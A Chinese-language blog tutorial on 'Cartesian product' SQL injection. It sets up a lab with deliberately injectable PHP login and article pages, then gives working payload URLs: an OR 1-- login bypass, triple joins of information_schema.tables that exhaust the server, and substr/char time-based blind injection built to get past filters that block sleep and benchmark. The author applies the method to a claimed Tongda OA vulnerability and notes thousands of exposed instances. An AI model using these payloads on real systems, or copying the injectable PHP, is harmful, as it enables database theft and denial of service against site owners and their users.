本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。
任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。
使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

前言

本文为SQL高级注入篇一:笛卡尔积-大负荷注入基础及实战

这期内容有点干,可以先跳到最后实战部分看我 (装逼) 人前显圣 😉 ^ v ^ 😉 再回来继续学习~

知识扫盲

笛卡尔积

笛卡尔积(Cartesian Product)是集合论和数据库管理中的一个概念。
在 SQL 查询中,笛卡尔积指的是在没有任何联接条件或过滤条件的情况下,两个或多个表的所有可能性组合。

笛卡尔积的定义

设有两个集合 AB
A = {a1,a2}
B = {b1,b2}
它们的笛卡尔积 A×B 定义为:

A×B = {(a1,b1),(a1,b2),(a2,b1),(a2,b2)}

即每个来自集合 A 的元素与每个来自集合 B 的元素进行组合。

SQL 中的笛卡尔积

在 SQL 中,笛卡尔积是在没有联接条件的情况下选择两个或多个表时产生的结果。

示例表
假设有两个表 table1 和 table2:

table1:

id name
1 Alice
2 Bob

table2:

id course
1 Math
2 Science
3 Literature

笛卡尔积查询

执行以下 SQL 查询:

1
2
SELECT *
FROM table1, table2;

这将生成笛卡尔积,即 table1 和 table2 的所有可能组合:

id name id course
1 Alice 1 Math
1 Alice 2 Science
1 Alice 3 Literature
2 Bob 1 Math
2 Bob 2 Science
2 Bob 3 Literature

执行以下 SQL 查询:

1
2
SELECT COUNT(*)
FROM table1, table2;

这里table1有2行,table2有3行
2 行 (来自 table1) × 3 行 (来自 table2) = 6 行。

结果集的大小是两个表行数的乘积
当table1和tbale2越大时,笛卡尔积就越大,如果都为10,那么笛卡尔积的结果集就是100
笛卡尔积会生成大量数据,尤其是当参与的表行数较大时,会消耗大量的计算资源和内存。(即产生DDOS!!!)

笛卡尔积盲注:

笛卡尔积SQL盲注是一种高级的SQL注入技巧。
它利用SQL语句中的笛卡尔积(Cartesian product)现象,通过变化查询结果的时间延迟,来判断条件的真假,最终达到获取信息的目的。

举个例子:   
假设有一个SQL语句:SELECT * FROM users WHERE name = '$name' AND pass = '$pass'
如果直接输入:name = '1' or 1=1; --
pass = '1' or 1=1; --那么这个查询会返回users表的所有行,查询时间会比较长。   
如果输入:name = '1' or 1=2; --
pass = '1' or 1=2; --那么WHERE条件肯定不成立,不会返回任何行,查询时间很短。所以攻击者可以构造如下Payload:name = '1' or (select count(*) from users A, users B) > 0; -- 
pass = '1' or (select count(*) from users A, users B) > 0; --当用户表users较大时,A和B表的笛卡尔积会生成大量行,查询时间会显著延长。

那么攻击者就可以根据查询返回时间的长短,判断users表的行数,得到一个大致的数据库指纹信息。这就是“笛卡尔积盲注”的原理。

综上所述,是不是听着很装逼,很绕,很拗口🙃🙃🙃

其实利用很简单~

具体利用过程:

  1. 构造带有笛卡尔积查询的SQL Payload,生成大量行影响查询时间;
  2. 发送构造的Payload,记录查询返回时间t1;
  3. 构造无意义的查询或不生成笛卡尔积的Payload,记录查询返回时间t2;
  4. 比较t1和t2,如果t1时间明显大于t2,那么证明利用了笛卡尔积,则相应条件为真;否则为假;
  5. 根据不同返回时间,判断信息的位或字符,实现数据的盲注获取;

笛卡尔积注入效果演示

一、笛卡尔积注入DDOS

我们现在以phpstudy搭建的模拟环境作为演示:

首先创建我们需要的数据库表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
CREATE DATABASE testdb;
USE testdb;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL
);

INSERT INTO users (username, password) VALUES
('alice', 'password1'),
('bob', 'password2'),
('charlie', 'password3');

CREATE TABLE roles (
id INT AUTO_INCREMENT PRIMARY KEY,
role VARCHAR(50) NOT NULL
);

INSERT INTO roles (role) VALUES
('admin'),
('user'),
('guest');


CREATE TABLE user_roles (
user_id INT,
role_id INT,
FOREIGN KEY (user_id) REFERENCES users(id),
FOREIGN KEY (role_id) REFERENCES roles(id)
);

INSERT INTO user_roles (user_id, role_id) VALUES
(1, 1), -- Alice is admin
(2, 2), -- Bob is user
(3, 3); -- Charlie is guest

其次创建注入点

打开phpstudy,使用以下PHP代码构建一个SQL注入点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
// 数据库连接参数
$servername = "localhost";
$db_username = "root"; // 替换为你的数据库用户名
$db_password = "root"; // 替换为你的数据库密码
$dbname = "testdb"; // 替换为你的数据库名称

// 创建连接
$conn = new mysqli($servername, $db_username, $db_password, $dbname);

// 检查连接
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入
$user_input_username = $_GET['username'];
$user_input_password = $_GET['password'];

// 构建查询
$query = "SELECT * FROM users WHERE username = '$user_input_username' AND password = '$user_input_password'";

// 输出查询以便调试
echo "Constructed query: $query<br>";

// 执行查询并检查是否成功
$result = $conn->query($query);
if (!$result) {
die("Query failed: " . $conn->error);
}

// 检查结果
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Login failed!";
}

// 关闭连接
$conn->close();
?>

访问后,使用如下URL可以发现存在万能SQL密码,可以显示成功登录:

1
http://192.168.41.1/testdb.php?username='+OR+1--+&password=1

开启burpsuite抓包,看时间,发现时间为20毫秒左右:

笛卡尔积DDOS构造

我们将这个’+OR+1–+中的1替换为 笛卡尔积构造的默认 ture 的查询

1
(SELECT COUNT(*) FROM information_schema.tables t1, information_schema.tables t2, information_schema.tables t3) -- 
这个这是一个子查询,计算 information_schema.tables 表的所有可能组合的计数。
通过将三个实例(t1, t2, t3)联接起来,实际上是在执行笛卡尔积操作,即对每个表记录的组合进行计数。  
由于Mysql这个表包含许多系统和用户表的元数据信息,通常有很多记录,一定非空。所以会返回一个非零的计数,非零也就是的OR这个运算的右边为 true ,那么整个OR运算就为true。  
由于 information_schema.tables 表中通常包含很多表的元数据记录,这个计数也就会非常大。(通常情况下就可以造成DDOS!!!)。

SQL别名

可能很多人还是不理解上述的SQL语句,这里我给出更详细的解释:
在这个查询中我使用了SQL中的别名的概念:
别名使查询更简洁或更易读,别名通常在查询中用关键字 AS 定义,但在某些情况下可以省略 AS。

1
2
3
4
5
6
7
SELECT column1, column2
FROM table_name AS alias_name;

或者省略 AS :

SELECT column1, column2
FROM table_name alias_name;

所以每个别名都代表information_schema.tables表中所有可能的总行数
那么t1,t2,t3进行笛卡尔运算,即当information_schema.tables表中所有可能的总行数为10时
笛卡尔积运算的结果集会是:10×10×10=1000
结果集快速增长,导致消耗大量计算机资源和内存,从而导致DDOS的产生。

使用burpsuite进行抓包,可以看到返回的时间秒数为1143毫秒,为之前20毫秒的 50+ 倍数。
(这只是在我的information_schema.tables中记录数少的情况下)

二、笛卡尔积盲注及绕过白名单

OK,现在大家已经感受到了什么是笛卡尔积盲注,我们正式来进行笛卡尔积盲注训练:

先知道怎么用再知道为什么~

(如果发现可以通过SQL能够进行一些简单盲注判断如:布尔判断和order by
但是对方是采用白名单禁止了SQL盲注函数如sleep、extractvale、updatexml、benchmark、ascii等等等函数 ! ! ! )
这时候你的盲注怎么破局,是不是很头大?😜😜😝
OK,头大就对了,现在就教你们如何破局:

首先搭建数据库实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-- 创建名为 my_articles 的数据库
CREATE DATABASE IF NOT EXISTS my_articles;

-- 使用 my_articles 数据库
USE my_articles;

-- 创建 articles 表
CREATE TABLE IF NOT EXISTS articles (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
content TEXT NOT NULL,
author VARCHAR(100),
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);


-- 插入文章数据
INSERT INTO articles (title, content, author)
VALUES
('Introduction to PHP', 'PHP is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.', 'John'),
('Getting Started with MySQL', 'MySQL is an open-source relational database management system. It is widely used in web applications due to its speed, reliability, and ease of use.', 'Jane'),
('JavaScript Basics', 'JavaScript is a programming language commonly used to create interactive effects within web browsers.', 'Emily'),
('Python for Data Analysis', 'Python is widely used for data analysis and scientific computing due to its simplicity and powerful libraries like Pandas and NumPy.', 'Michael'),
('Introduction to HTML', 'HTML is the standard markup language for creating web pages and web applications.', 'Sarah'),
('CSS Styling Techniques', 'CSS is used to style the presentation of web pages written in HTML and XHTML.', 'Daniel'),
('PHP Frameworks Comparison', 'A comparison of popular PHP frameworks such as Laravel, Symfony, and CodeIgniter.', 'Alex');

接着搭建存在SQL注入的tbd.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// 数据库连接信息
$servername = "localhost"; // 数据库服务器地址
$username = "root"; // 数据库用户名
$password = "root"; // 数据库密码
$dbname = "my_articles"; // 数据库名

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接是否成功
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}

// 假设用户输入的参数是通过 GET 或 POST 方法传递的
if(isset($_GET['author'])) {
// 漏洞点:直接将用户输入拼接到 SQL 查询语句中
$author = $_GET['author'];
$sql = "SELECT title FROM articles WHERE author = '$author'";
// 输出 SQL 查询语句(以注释的形式显示)
echo "<!-- SQL 查询语句: $sql -->";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
echo "文章标题: " . $row["title"] . "<br>";
}
} else {
echo "没有找到文章。";
}
}

// 关闭连接
$conn->close();
?>

验证存在SQL注入

使用phpstudy搭建web环境,验证存在SQL注入:

注出数据库名:为my_articles1

笛卡尔积注入构造

当存在SQL盲注函数过滤时,我们可以使用如下手段来构造笛卡尔积去判断数据库名和内容:
(笛卡尔积构造可以根据实际情况进行增减)
char(109)=m

1
http://192.168.41.1/tdb.php?author=John+'+and+(substr(DATABASE(),1,1))=char(109)+and+(select+count(*)+from+information_schema.columns+AB,information_schema.columns+B)+and+1=1--+

当构造正确,且判断数据库名正确时,可以发现查询耗时553毫秒:

当构造正确,但是判断数据库名失败时,可以发现查询耗时15毫秒:

此时我们就已经实现了笛卡尔积盲注的构造。
我们这时就可以直接写一个python脚本,通过相应包返回时间的长短来判断ASCII字符是否正确最终达到给数据库脱裤的效果!

完整代码请邮件联系

可以看到马上脱裤成功了😀😀😀

完整代码请邮件联系

实战

上述说了这么多,想必大家也已经了解了什么是笛卡尔积注入,及什么情况下,如何使用它。
那么这里就给大家看看实战效果

装逼时刻 呜啦呜啦呜啦0DAY漏洞~通达OA存在SQL注入

(本人发现,暂未公开漏洞详情!)

通过上述笛卡尔积注入原理挖掘到的:(CNVD-2023-30317)(未公开漏洞)

通达OA存在SQL注入漏洞(CNVD-2023-30317)发现过程:

通达OA全局过滤如下:

在某处发现了SQL注入的痕迹后,通过PY交易手段找到这个过滤代码。
可以看到过滤了所有的盲注函数,此时我们就可以使用 笛卡尔积 来辅助我们进行注入脱裤。

当构造SQL注入语句正确,且判断数据库名正确时,返回时间为2755毫秒:

当构造SQL注入语句正确,且判断数据库名错误时,返回时间为63毫秒:

不必多言,看到这里结合之前的基础知识足够了~

fofa搜索此漏洞资产:4.1K+ 可惜了资产单位是K不是W🤡🤡🤡 V e r y V e r y V e r y S a d!

尾声

OK到现在,SQL高级注入第一篇已经写完了,还会有高级的第二、第三……100篇,有兴趣请邮件或者github催更!
有机会的话,反正现在是天天犯懒 🤷‍♂️🤷‍♂️🤷‍♂️
还有好多私有CNVD通用高危甚至一些CNNVD超危漏洞的01 DAY可以和大家分享
(为啥不是0也不是1的DAY?因为年少不懂事去申请证书了,但是放心,选择的是不公开!)




每一个不曾熬夜写博客的日子都是我在生命中起舞~